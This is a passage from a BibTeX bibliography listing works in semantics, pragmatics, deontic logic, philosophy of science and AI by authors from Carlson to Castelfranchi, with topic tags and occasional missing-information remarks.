3. Gennaro Chierchia, "Individual-Level Predicates as Inherent + Generics", pp.176--223 + 4. Gregorn N. Carlson, "Truth Conditions of Generic + Sentences: Two Contrasting Views", pp. 224--237 + 5. Manfred Krifka, "Focus and the Interpretation of Generic + Sentences", pp.238--264 + 6. Mats Rooth, "Indefinites, Adverbs of Quantification, and Focus + Semantics", pp. 265--299 + 7. Nicholas Asher and Michael Morreau, "What Some Generic + Sentences Mean", pp. 300--338 + 8. Alice ter Meulen, "Semantic Constraints on Type-Shifting + Anaphora", pp. 339--357 + 9. Godehard Link, "Generic Information and Dependent + Generics", pp. 358--397 + 10. Karina Wilkinson, "The Semantics of the Common Noun + `Kind'\,", pp. 383--397 + 11. Manfred Krifka, "Common Nouns: A Contrastive Analysis of + {E}nglish and {C}hinese", pp. 398--411 + 12. \"Osten Dahl, "The Marking of the Episodic/Generic Distinction in + Tense-Aspect Systems", pp. 412--425 + } , + topic = {generics;} + } + +@article{ carlson_gn-spejewski:1997a, + author = {Greg N. Carlson and Beverly Spejewski}, + title = {Generic Passages}, + journal = {Natural Language Semantics}, + year = {1997}, + volume = {5}, + number = {2}, + pages = {101--165}, + topic = {generics;discourse;pragmatics;} + } + +@incollection{ carlson_l-termeulen:1979a, + author = {Lauri Carlson and Alice ter Meulen}, + title = {Informational Independence in Intensional Context}, + booktitle = {Essays in Honor of {J}aakko {H}intikka}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + editor = {Esa Saarinen and Risto Hilpinen and Ilkka Niiniluoto and + Merrill Province Hintikka}, + pages = {61--72}, + address = {Dordrecht}, + topic = {branching-quantifiers;} + } + +@incollection{ carlson_l:1994a, + author = {Lauri Carlson}, + title = {Plural Quantifiers and Informational Independence}, + booktitle = {Intensional Logic: Theory and Applications}, + publisher = {The Philosophical Society of Finland}, + year = {1994}, + editor = {Ilkka Niiniluoto and Esa Saarinen}, + pages = {163--174}, + address = {Helsinki}, + topic = {plural;} + } + +@article{ carlsson-vandamme:1993a, + author = {H. Carlsson and E. {van Damme}}, + title = {Global Games and Equilibrium Selection}, + journal = {Econometrica}, + year = {1993}, + volume = {61}, + pages = {989--1018}, + missinginfo = {A's 1st name, number}, + topic = {game-theory;mutual-belief;Nash-equilibria;} + } + +@article{ carlstrom:1975a, + author = {Ian F. Carlstrom}, + title = {Truth and Entailment for a Vague Quantifier}, + journal = {Synth\'ese}, + year = {1975}, + volume = {30}, + pages = {461--495}, + missinginfo = {number}, + topic = {vagueness;} + } + +@article{ carlstrom:1990a, + author = {Ian F. Carlstrom}, + title = {A Truth-Functional Logic for Near-Universal Generalizations}, + journal = {Journal of Philosophical Logic}, + year = {1990}, + volume = {19}, + number = {4}, + pages = {379--405}, + topic = {generalized-quantifiers;exception-constructions;} + } + +@article{ carlstron-hill_c:1978a, + author = {Ian F. Carlstrom and Christopher S. Hill}, + title = {Review of {\em The Logic of Conditionals}, by {E}rnest + {S}osa}, + journal = {Philosophy of Science}, + year = {1978}, + volume = {45}, + number = {1}, + pages = {155--158}, + topic = {conditionals;} + } + +@inproceedings{ carmel-markovich:1996a, + author = {David Carmel and Shaul Markovich}, + title = {Learning Models of Intelligent Agents}, + booktitle = {Proceedings of the Thirteenth National Conference on + Artificial Intelligence and the Eighth Innovative + Applications of Artificial Intelligence Conference, + Vol. 2}, + year = {1996}, + editor = {Howard Shrobe and Ted Senator}, + pages = {62--67}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {machine-learning;finite-automata;} + } + +@article{ carmel-markovich:1998a, + author = {David Carmel and Shaul Markovich}, + title = {Pruning Algorithms for Multi-Modal Adversary + Search}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {99}, + number = {2}, + pages = {325--355}, + topic = {search;} + } + +@article{ carmo-jones:1996a, + author = {Jos\'e Carmo and Andrew J.I. Jones}, + title = {Deontic Database Constraints, Violation and Recovery}, + journal = {Studia Logica}, + year = {1996}, + volume = {57}, + number = {1}, + pages = {139--165}, + topic = {deontic-logic;data-base-integrity;} + } + +@book{ carnap:1928a, + author = {Rudolph Carnap}, + title = {{D}er {l}ogische {A}ufbau {d}er {W}elt}, + publisher = {Weltkreis-Verlag}, + year = {1928}, + address = {Berlin-Schlactensee}, + topic = {phenomenalism;} + } + +@article{ carnap:1937a, + author = {Rudolph Carnap}, + title = {Testability and Meaning}, + journal = {Philosophy of Science}, + year = {1936--1937}, + volume = {3 and 4}, + pages = {419--471 and 1--40}, + missinginfo = {number}, + topic = {dispositions;} + } + +@book{ carnap:1950a, + author = {Rudolph Carnap}, + title = {Logical Foundations of Probability}, + publisher = {University of Chicago Press}, + year = {1950}, + address = {Chicago}, + topic = {foundations-of-probability;} + } + +@article{ carnap:1950b, + author = {Rudolph Carnap}, + title = {Empiricism, Semantics, and Ontology}, + journal = {Revue Internationale de Philosophie}, + year = {1950}, + volume = {4}, + pages = {20--40}, + topic = {logical-positivism;philosophical-ontology; + foundations-of-semantics;metaphilosophy;} + } + +@article{ carnap:1955a, + author = {Rudolph Carnap}, + title = {Meaning and Synonymy in Natural Languages}, + journal = {Philosophical Studies}, + year = {1955}, + volume = {7}, + pages = {33--47}, + missinginfo = {number}, + note = {Reprinted in \cite{carnap:1956a}, pp.~233--247.}, + topic = {intensionality;philosophy-of-language;} + } + +@article{ carnap:1955b, + author = {Rudolph Carnap}, + title = {On Some Concepts of Pragmatics}, + journal = {Philosophical Studies}, + year = {1955}, + volume = {6}, + pages = {89--91}, + missinginfo = {number}, + topic = {pragmatics;} + } + +@book{ carnap:1956a, + author = {Rudolph Carnap}, + title = {Meaning and Necessity}, + publisher = {Chicago University Press}, + year = {1956}, + address = {Chicago}, + edition = {2}, + note = {(First edition published in 1947.)}, + title = {The Aim of Inductive Logic}, + booktitle = {Logic, Methodology, and Philosophy of Science}, + publisher = {Stanford University Press}, + year = {1962}, + editor = {Patrick Suppes and and Alfred Tarski}, + pages = {303--318}, + address = {Stanford}, + topic = {foundations-of-induction;confirmation-theory;} + } + +@incollection{ carnap:1963a, + author = {Rudolph Carnap}, + title = {My Philosophical Development}, + booktitle = {The Philosophy of Rudolph Carnap}, + publisher = {Open Court Publishing Company}, + year = {1963}, + editor = {Paul Schilpp}, + pages = {3--84}, + address = {LaSalle, Illinois}, + topic = {Carnap;logical-empiricism;} + } + +@book{ carnap-jeffrey:1971a, + editor = {Rudolf Carnap and Richard C. Jeffrey}, + title = {Studies in Inductive Logic and Probability}, + publisher = {University of California Press}, + year = {1971}, + address = {Berkeley, California}, + topic = {induction;confirmation-theory;} + } + +@incollection{ carol:1996a, + author = {Stuart K. Carol}, + title = {The Human, the Computer, the Task, and Their + Interaction---Analytic Models and Use-Centered Design}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {259--312}, + topic = {HCI;} + } + +@incollection{ caroll-briscoe:1996a, + author = {John Carroll and Ted Briscoe}, + title = {Apportioning Development Effort in a + Probabilistic {LR} Parsing System through + Evaluation}, + booktitle = {Proceedings of the Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1996}, + editor = {Eric Brill and Kenneth Church}, + pages = {92--100}, + address = {Somerset, New Jersey}, + contentnote = {The algorithm described gets about 80% of + sentences right in general text.}, + topic = {parsing-algorithms;punctuation;clcourse;} + } + +@unpublished{ carpenter-pollard:1989a, + author = {Bob Carpenter and Carl Pollard}, + title = {Solving Feature Structure Constraints}, + year = {1989}, + note = {Unpublished manuscript, Carnegie Mellon University}, + topic = {feature-structures;logic-programming;} + } + +@incollection{ carpenter-thomason_rh:1990a, + author = {Bob Carpenter and Richmond Thomason}, + title = {Inheritance Theory and Path-Based Reasoning: + an Introduction}, + booktitle = {Knowledge Representation and Defeasible Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + editor = {Henry Kyburg and Ronald Loui and Greg N. Carlson}, + pages = {309--343}, + address = {Dordrecht}, + topic = {inheritance-theory;} + } + +@incollection{ carpenter:1993a, + author = {Bob Carpenter}, + title = {Skeptical and Credulous Default Unification with + Applications to Templates and Inheritance}, + booktitle = {Inheritance, defaults, and the lexicon}, + publisher = {Cambridge University Press}, + year = {1993}, + editor = {Ted Briscoe and Valeria de Paiva and Ann Copestake}, + pages = {13--37}, + address = {Cambridge, England}, + topic = {default-unification;nml;} + } + +@unpublished{ carpenter:1993b, + author = {Bob Carpenter}, + title = {Two-Level Finite State Morpho-Phonology: + A Rational Reconstruction of {KIMMO}}, + year = {1993}, + note = {Unpublished manuscript, Philosophy Department, + Carnegie Mellon University}, + topic = {finite-state-phonology;computational-morphology; + computational-phonology;} + } + +@book{ carpenter:1998a, + author = {Bob Carpenter}, + title = {Type-Logical Semantics}, + publisher = {The {MIT} Press}, + year = {1998}, + address = {Cambridge, Massachusetts}, + xref = {Review: pulman_s:1999a, pentus:1999a.}, + topic = {categorial-grammar;nl-semantics;} + } + +@article{ carr_c:2001a, + author = {Catherine Carr}, + title = {Review of {\it The {MIT} Encyclopedia of the Cognitive + Sciences,} edited by {R}obert {A}. {W}ilson and {F}rank {C}. {K}eil}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {130}, + number = {2}, + pages = {183--184}, + xref = {Review of: wilson_ra-keil:1999a.}, + topic = {cognitive-science-general;cognitive-science-survey;} + } + +@article{ carr_d:1979a, + author = {David Carr}, + title = {The Logic of Knowing How and Ability}, + journal = {Mind}, + year = {1979}, + volume = {88}, + pages = {394--409}, + missinginfo = {number}, + topic = {knowing-how;ability;} + } + +@book{ carr_d:1999a, + author = {David Carr}, + title = {The Paradox of Subjectivity: The Self in the Transcendental + Tradition}, + publisher = {Oxford University Press}, + year = {1999}, + address = {Oxford}, + xref = {Review: blattner:2001a.}, + topic = {idealism;Kant;Husserl;Heidegger;} + } + +@incollection{ carrier-randall:1993a, + author = {Jill Carrier and Janet Randall}, + title = {Lexical Mapping}, + booktitle = {Knowledge and Language: Volume {II}, Lexical and Conceptual + Structure}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {Eric Reuland and Werner Abraham}, + pages = {119--142}, + address = {Dordrecht}, + topic = {cognitive-semantics;argument-structure;lexical-semantics;} + } + +@article{ carroll:2001a, + author = {John Carroll}, + title = {Review of {\it Robustness in Language and Speech Technology}, + edited by {J}ean-{C}laude {J}unqua and {G}ertjan van {N}oord}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {4}, + pages = {596--597}, + topic = {nlp-technology;} + } + +@book{ carroll_jm-tanenhaus:1975a, + author = {John M. Carroll and M.K. Tanenhaus}, + title = {Functional Clauses are the Primary Units of + Sentence Segmentation}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {psycholinguistics;parsing-psychology;} + } + +@book{ carroll_jm:1987a, + editor = {John M. Carroll}, + title = {Interfacing Thought: Cognitive Aspects of Human-Computer + Interaction}, + publisher = {The {MIT} Press}, + year = {1987}, + address = {Cambridge, Massachusetts}, + ISBN = {0262031256}, + topic = {HCI;} + } + +@book{ carroll_jm:1991a, + editor = {John M. Carroll}, + title = {Designing Interaction: Psychology at the Human-Computer + Interface}, + publisher = {Cambridge University Press}, + year = {1991}, + address = {Cambridge, England}, + ISBN = {0521400562}, + topic = {HCI;} + } + +@book{ carroll_jw:1994a, + author = {John W. Carroll}, + title = {Laws of Nature}, + publisher = {Cambridge University Press}, + year = {1984}, + address = {Cambridge, England}, + xref = {Review; tooley:1997a.}, + topic = {causality;} + } + +@article{ carroll_jw:2001a, + author = {John W. Carroll}, + title = {Review of {\em {Dispositions},} by {S}tephen {M}umford}, + journal = {The Philosophical Review}, + year = {2001}, + volume = {110}, + number = {1}, + pages = {82--84}, + xref = {Review of mumford:1998a.}, + topic = {dispositions;} + } + +@book{ carruthers:1996a, + author = {Peter Carruthers}, + title = {Language Thought and Consciousness: + An Essay in Philosophical Psychology}, + publisher = {Cambridge University Press}, + year = {1996}, + address = {Cambridge, England}, + xref = {Review of jarrett:1998a.}, + topic = {language-of-thought;foundations-of-semantics;} + } + +@book{ carruthers-botherill:1999a, + author = {Peter Carruthers and George Botherill}, + title = {The Philosophy of Psychology}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {052155915-4 (Pbk)}, + topic = {philosophy-of-psychology;cogsci-intro; + foundations-of-cognitive-science;} + } + +@article{ carston:1987a, + author = {Robyn Carston}, + title = {Being Explicit}, + journal = {Behavioral and Brain Sciences}, + year = {1987}, + volume = {10}, + pages = {713--714}, + missinginfo = {number}, + topic = {implicature;} + } + +@incollection{ carston:1988a, + author = {Robyn Carston}, + title = {Implicature, Explicature, and Truth-Theoretic Semantics}, + booktitle = {Mental Representations: The Interface Between Language and + Reality}, + publisher = {Cambridge University Press}, + year = {1988}, + editor = {Ruth Kempson}, + pages = {155--181}, + address = {Cambridge, England}, + topic = {nl-semantics;implicature;pragmatics;} + } + +@incollection{ carston:1991a, + author = {Robyn Carston}, + title = {Implicature, Explicature, and Truth-Theoretic + Semantics}, + booktitle = {Pragmatics: A Reader}, + publisher = {Oxford University Press}, + year = {1991}, + editor = {Steven Davis}, + pages = {33--51}, + address = {Oxford}, + topic = {implicature;philosophy-of-language;} + } + +@book{ carston-uchida:1997a, + editor = {Robyn Carston and Seiji Uchida}, + title = {Relevance Theory: Applications and Implications}, + publisher = {John Benjamins Publishing Co.}, + year = {1997}, + address = {Amsterdam}, + contentnote = {TC: + 1. Deirdre Wilson and Dan Sperber, "Pragmatics and Time" + 2. Keiko Tanaka, "The {J}apanese Adverbial {\it yahiri} + or {\it yappari}" + 3. Reiko Itani, A Relevance-Based Analysis of Hearsay + Particles: With Special Reference to {J}apanese + Sentence-Final Particle {\it ne}" + 4. Kunihiko Imai, "Intonation and Relevance" + 5. Nam Sun Song, "Metaphor and Metonymy" + 6. Akiko Yoshimura, "Procedural Semantics and + Metalinguistic Negation" + 7. Tomoko Matsui, "Assessing a Scenario-Based Account + of Bridging Reference Assignment" + 8. Seiji Uchida, "Text and Relevance" + 9. Robyn Carston, "Informativeness, Relevance, and + Scalar Implicature" + 10. Ken-Ichi Seto, "On Non-Echoic Irony" + 11. Hideki Hamamoto, "Irony from a Cognitive Perspective" + 12. Masa-Aki Yamanashi, "Some Issues in the Treatment of + Irony and Other Topics" + 13. Dan Sperber and Deirdre Wilson, "Irony and Relevance: + A Reply to {S}an, + }, + topic = {relevance-theory;pragmatics;} + } + +@incollection{ carston:1998b, + author = {Robyn Carston}, + title = {Informativeness, Relevance, and Scalar Implicature}, + booktitle = {Relevance Theory: Applications and Implications}, + publisher = {John Benjamins Publishing Co.}, + year = {1998}, + editor = {Robyn Carston and Seiji Uchida}, + pages = {179--236}, + address = {Amsterdam}, + topic = {relevance-theory;scalar-implicature;implicature;} + } + +@book{ carswell-rommetveit:1971a, + editor = {E.A. Carswell Ragnar Rommetveit}, + title = {Social Contexts of Messages}, + publisher = {Academic Press}, + year = {1971}, + address = {New York}, + topic = {psycholinguistics;pragmatics;} + } + +@book{ carter_j-dechaine:1989a, + editor = {J. Carter and R.-M. Dechaine}, + title = {{NELS 19}: Proceedings of the Nineteenth Conference of the + {N}orth {E}ast {L}inguistic {S}ociety}, + publisher = {GLSA Publications}, + year = {1989}, + address = {Amherst, Massachusetts}, + note = {URL FOR GLSA Publications: + http://www.umass.edu/linguist/glsa-pubs.html.}, + topic = {linguistics-proceedings;nl-syntax;nl-semantics;} + } + +@book{ carter_j-etal:1990a, + editor = {J. Carter and R.-M. Dechaine and B. Philip and T. Sherer}, + title = {{NELS 20}: Proceedings of the Twentieth Conference of the + {N}orth {E}ast {L}inguistic {S}ociety}, + publisher = {GLSA Publications}, + year = {1990}, + address = {Amherst, Massachusetts}, + note = {URL FOR GLSA Publications: + http://www.umass.edu/linguist/glsa-pubs.html.}, + topic = {linguistics-proceedings;nl-syntax;nl-semantics;} + } + +@article{ cartwright_h:1975a, + author = {Helen Morris Cartwright}, + title = {Truth and Mass Terms}, + journal = {No\^us}, + year = {1975}, + volume = {9}, + pages = {179--198}, + missinginfo = {number}, + missinginfo = {number}, + topic = {nl-semantics;mass-term-semantics;} + } + +@article{ cartwright_hm:1984a, + author = {Helen Morris Cartwright}, + title = {Parts and Partitives: Notes on What Things Are + Made of}, + journal = {Synth\'ese}, + year = {1984}, + volume = {58}, + number = {2}, + pages = {251--277}, + topic = {mass-term-semantics;} + } + +@article{ cartwright_n:1979a, + author = {Nancy Cartwright}, + title = {Causal Laws and Effective Strategies}, + journal = {No\^us}, + year = {1979}, + volume = {13}, + pages = {419--437}, + topic = {causality;probability;} + } + +@book{ cartwright_n:1986a, + author = {Nancy Cartwright}, + title = {How the Laws of Physics Lie}, + publisher = {Oxford University Press}, + year = {1986}, + address = {Oxford}, + topic = {philosophy-of-physics;natural-laws;} + } + +@incollection{ cartwright_n:1986b, + author = {Nancy Cartwright}, + title = {Fitting Facts to Equations}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {441--453}, + address = {Oxford}, + topic = {foundations-of-physics;} + } + +@incollection{ cartwright_n:1995a, + author = {Nancy Cartwright}, + title = {Causal Structures in Econometrics}, + booktitle = {On the Reliability of Economic Models}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Daniel Little}, + address = {Dordrecht}, + missinginfo = {pages}, + topic = {causality;philosophy-of-economics;} + } + +@article{ cartwright_n:1995b, + author = {Nancy Cartwright}, + title = {Probabilities and Experiments}, + journal = {Journal of Econometrics}, + year = {1995}, + volume = {67}, + pages = {47--59}, + missinginfo = {number}, + topic = {probabilities;philosophy-of-economics;} + } + +@book{ cartwright_n:1999a, + author = {Nancy Cartwright}, + title = {The Dappled World: A Study in the Boundaries of Science}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + xref = {Reviews: winsberg-etal:2000a,giere:2000a.}, + topic = {philosophy-of-science;natural-laws;} + } + +@incollection{ cartwright_r1:1962a, + author = {Richard Cartwright}, + title = {Propositions}, + booktitle = {Analytical Philosophy, First Series}, + publisher = {Barnes and Noble}, + year = {1962}, + editor = {Ronald J. Butler}, + pages = {81--103}, + address = {New York}, + topic = {propositions;propositional-attitudes;} + } + +@incollection{ cartwright_r1:1979a, + author = {Richard Cartwright}, + title = {Indiscernability Principles}, + booktitle = {Midwest Studies in Philosophy Volume {V}: + Studies in Metaphysics}, + publisher = {University of Minnesota Press}, + year = {1979}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {293--306}, + address = {Minneapolis}, + topic = {identity;modality;} + } + +@incollection{ cartwright_r1:1987a, + author = {Richard Cartwright}, + title = {On the Origins of {Russell's} Theory of Descriptions}, + booktitle = {Philosophical Essays}, + editor = {Richard Cartwright}, + pages = {95--133}, + publisher = {MIT Press}, + year = {1987}, + address = {Cambridge, Massachusetts}, + topic = {Russell;definite-descriptions;} +} + +@incollection{ cartwright_r2:1991a, + author = {Robert Cartwright}, + title = {Lambda: The Ultimate Combinator}, + booktitle = {Artificial Intelligence and Mathematical Theory of + Computation}, + publisher = {Academic Press}, + year = {1991}, + editor = {Vladimir Lifschitz}, + pages = {27--46}, + address = {San Diego}, + topic = {combinatory-logic;theory-of-programming-languages;} + } + +@inproceedings{ carver-etal:1988a, + author = {Norman F. Carver and Victor R. Lesser and Daniel L. + McCue}, + title = {Focusing in Plan Recognition}, + booktitle = {Proceedings of the Seventh National Conference on + Artificial Intelligence}, + year = {1988}, + pages = {42--48}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {publisher, editor.}, + topic = {focus;plan-recognition;pragmatics;} + } + +@article{ casadio-lambek:2002a, + author = {Claudio Casadio and Joachim Lambek}, + title = {A Tale of Four Grammars}, + journal = {Studia Logica}, + year = {2002}, + volume = {71}, + number = {3}, + pages = {315--329}, + topic = {Lambek-calculus;categorial-grammars;} + } + +@book{ casati-varzi:1996a, + author = {Roberto Casati and Achille C. Varzi}, + title = {Holes and Other Superficialities}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + ISBN = {0262032112}, + xref = {Review: lewis_dk-lewis_s:1998a.}, + topic = {spatial-representation;philosophucal-ontology;mereology;} + } + +@incollection{ casati-varzi:1997a, + author = {Roberto Casati and Achille C. Varzi}, + title = {Spatial Entities}, + booktitle = {Spatial and Temporal Reasoning}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + editor = {Oliviero Stock}, + pages = {73--96}, + address = {Dordrecht}, + topic = {spatial-representation;computational-ontology; + mereology;} + } + +@book{ casati-varzi:1999a, + author = {Roberto Casati and Achille C. Varzi}, + title = {Parts and Places: The Structures of Spatial Representation}, + publisher = {The {MIT} Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + ISBN = {026203266X (alk. paper)}, + xref = {Reviews: aiello:2000a, mason_f:2001a.}, + topic = {spatial-representation;philosophical-ontology;mereology;} + } + +@book{ cass-shell:1976a, + author = {David Cass and Karl Shell}, + title = {The {H}amiltonian Approach To Dynamic Economics}, + publisher = {Academic Press}, + year = {1976}, + address = {New York}, + ISBN = {012163650X}, + topic = {mathematical-economics;} + } + +@inproceedings{ cassell-etal:1994a, + author= {Justine Cassell and Catherine Pelachaud and Norm + Badler and Mark Steedman and Brett Achorn and Tripp + Becket and Brett Douville and Scott Prevost and + Matthew Stone}, + title = {Animated Conversation: Rule-based generation of + facial expression, gesture and spoken intonation for + multiple conversational agents}, + booktitle = {SIGGRAPH}, + year = {1994}, + topic = {animation;gestures;intonation;pragmatics;} + } + +@inproceedings{ cassell-stone_mh:1999a, + author = {Justine Cassell and Matthew Stone}, + title = {Living Hand to Mouth: Psychological Theories about Speech + and Gesture in Interactive Dialogue Systems}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + year = {1999}, + editor = {Susan E. Brennan and Alain Giboin and David Traum}, + pages = {34--42}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {discourse;multimodal-communication;gestures;} + } + +@article{ cassell:2000a, + author = {Justine Cassell}, + title = {Embodied Conversational Interface Agents}, + journal = {Communications of the {ACM}}, + year = {2000}, + volume = {43}, + number = {4}, + pages = {70--78}, + topic = {embodiment;discourse;} + } + +@book{ cassell-etal:2000a, + editor = {Justine Cassell and Joseph Sullivan and Scott Prevost + and Elizabeth Chirchill}, + title = {Embodied Conversational Agents}, + publisher = {The {MIT} Press}, + year = {2000}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-02378-3}, + topic = {embodiment;discourse;} + } + +@book{ cassirer:1955a, + author = {Ernst Cassirer}, + title = {The Philosophy of Symbolic Forms}, + publisher = {Yale University Press}, + year = {1955}, + volume = {1--3}, + address = {New Haven}, + note = {(These works were first published (in German) in 1923--29.)}, + topic = {philosophy-of-language;} + } + +@article{ casson:1988a, + author = {Lionel Casson}, + title = {How and Why Punctuation Ever Came to be Invented}, + journal = {Smithsonian}, + year = {1988}, + volume = {1988}, + number = {7}, + pages = {216}, + topic = {punctuation;} +} + +@article{ castaenda:1967a, + author = {Hector-Neri Casta\~neda}, + title = {Indicators and Quasi-Indicators}, + journal = {American Philosohical Quarterly}, + year = {1967}, + volume = {4}, + number = {2}, + missinginfo = {pages}, + topic = {indexicals;} + } + +@book{ castaenda:1982a, + author = {Hector-Neri Casta\~neda}, + title = {Thinking and Doing: The Philosophical Foundations of + Institutions}, + publisher = {D. Reidel Publishing Co.}, + year = {1982}, + address = {Dordrecht}, + ISBN = {9027706107}, + topic = {practical-reasoning;deontic-logic;} + } + +@incollection{ castaing:1991a, + author = {Jacqueline Castaing}, + title = {A New Formalisation of Subsumption in Frame-Based + Representation Systems}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {78--87}, + address = {San Mateo, California}, + topic = {kr;proof-theory;inheritance-theory;frames;kr-course;} + } + +@book{ castaneda-nakhnikian:1963a, + editor = {Hector-Neri Casta\~neda and George Nakhnikian}, + title = {Morality and the Language of Conduct}, + publisher = {Wayne State University Press}, + year = {1963}, + address = {Detroit}, + topic = {ethics;analytic-philosophy;} + } + +@unpublished{ castaneda:1965a, + author = {{Hector-Neri} Casta\~{n}eda}, + title = {Acts, the Logic of Obligation, and Deontic Calculi}, + note = {Unpublished manuscript, Wayne State University.}, + missinginfo = {Date is a guess.}, + topic = {deontic-logic;} + } + +@article{ castaneda:1965b, + author = {{Hector-Neri} Casta\~{n}eda}, + title = {The Logic of Change, Action, and Norms}, + journal = {The Journal of Philosophy}, + year = {1965}, + volume = {62}, + number = {13}, + pages = {333--344}, + xref = {Critical study of: vonwright:1963a.}, + xref = {Commentary: sidorsky:1965a.}, + topic = {deontic-logic;action;} + } + +@article{ castaneda:1966a, + author = {{Hector-Neri} Casta\~{n}eda}, + title = {\,`He': A Study in Self-Consciousness}, + journal = {Ratio}, + volume = {8}, + year = {1966}, + pages = {187--203}, + topic = {indexicals;knowing-who;} + } + +@book{ castaneda:1967a, + editor = {Hector-Neri Casta\~neda}, + title = {Intentionality, Minds, and Perception; Discussions on Contemporary + Philosophy, A Symposium}, + publisher = {Wayne State University Press}, + year = {1967}, + address = {Detroit}, + topic = {philosophy-of-mind;epistemology;analytic-philosophy;} + } + +@article{ castaneda:1967b, + author = {{Hector-Neri} Casta\~{n}eda}, + title = {Ethics and Logic: {S}tevensonianism Revisited}, + journal = {Journal of Philosophy}, + volume = {64}, + year = {1967}, + topic = {ethics;emotivism;} + } + +@article{ castaneda:1968a, + author = {{Hector-Neri} Casta\~{n}eda}, + title = {A Problem for Utilitarianism}, + journal = {Analysis}, + volume = {28}, + year = {1968}, + pages = {141--142}, + topic = {utilitarianism;} + } + +@article{ castaneda:1969a, + author = {{Hector-Neri} Casta\~{n}eda}, + title = {Ought, Value, and Utilitarianism}, + journal = {American Philosophical Quarterly}, + volume = {8}, + year = {1969}, + missinginfo = {number, pages}, + topic = {utilitarianism;} + } + +@article{ castaneda:1970a, + author = {{Hector-Neri} Casta\~{n}eda}, + title = {On Knowing (or Believing) that One Knows (or Believes)}, + journal = {Synth\'ese}, + year = {1970}, + volume = {21}, + pages = {187--203}, + missinginfo = {number}, + topic = {indexicals;knowing-who;} + } + +@incollection{ castaneda:1970b, + author = {Hector-Neri Casta\~neda}, + title = {The Twofold Structure and the Unity of Practical Thinking}, + booktitle = {The Nature of Human Action}, + publisher = {Scott, Foresman and Company}, + year = {1970}, + editor = {Myles Brand}, + pages = {105--130}, + address = {Glenview, California}, + topic = {deontic-logic;practical-reasoning;} + } + +@incollection{ castaneda:1972a, + author = {Hector-Neri Casta\~neda}, + title = {On the Semantics of the Ought-to-Do}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Donald Davidson and Gilbert H. Harman}, + pages = {675--694}, + address = {Dordrecht}, + topic = {deontic-logic;} + } + +@book{ castaneda:1975a, + editor = {Hector-Neri Casta\~neda}, + title = {Action, Knowledge, and Reality: Critical Studies in Honor + of {W}ilfrid {S}ellars}, + publisher = {Bobbs-Merrill}, + year = {1975}, + address = {Indianapolis}, + ISBN = {0672612135}, + topic = {analytic-philosophy;} + } + +@article{ castaneda:1977a, + author = {{Hector-Neri} Casta\~{n}eda}, + title = {Ought, Time, and Deontic Paradoxes}, + journal = {Journal of Philosophy}, + volume = {74}, + year = {1977}, + pages = {775--791}, + topic = {deontic-logic;temporal-logic;} + } + +@incollection{ castaneda:1978a, + author = {Hector-Neri Casta\~neda}, + title = {On the Philosophical Foundations + of the Theory of Communication}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {125--146}, + address = {Minneapolis}, + topic = {nl-semantics;referential-opacity;intensionality;} + } + +@incollection{ castaneda:1978b, + author = {Hector-Neri Casta\~neda}, + title = {The Causal and Epistemic Roles + of Proper Names in Our Thinking of Particulars}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {151--158}, + address = {Minneapolis}, + topic = {reference;proper-names;metaphysics;} + } + +@incollection{ castaneda:1981a, + author = {{Hector-Neri} Casta\~neda}, + title = {The Paradoxes of Deontic Logic: The Simplest Solution to + All of Them in One Fell Swoop}, + booktitle = {New Studies in Deontic Logic}, + publisher = {D. Reidel Publishing Company}, + year = {1981}, + editor = {Risto Hilpinen}, + pages = {37--85}, + address = {Dordrecht}, + topic = {deontic-logic;prima-facie-obligation;Ross'-paradox;} + } + +@incollection{ castaneda:1984a, + author = {{Hector-Neri} Casta\~neda}, + title = {Causes, Causity, and Energy}, + booktitle = {Causation and Causal Theories}, + publisher = {University of Minnesota Press}, + year = {1984}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {17--27}, + address = {Minneapolis}, + topic = {causality;} + } + +@article{ castelfrianchi:1998a, + author = {Cristiano Castelfrianchi}, + title = {Modeling Social Action for {AI} Agents}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {103}, + number = {1--2}, + pages = {157--182}, + topic = 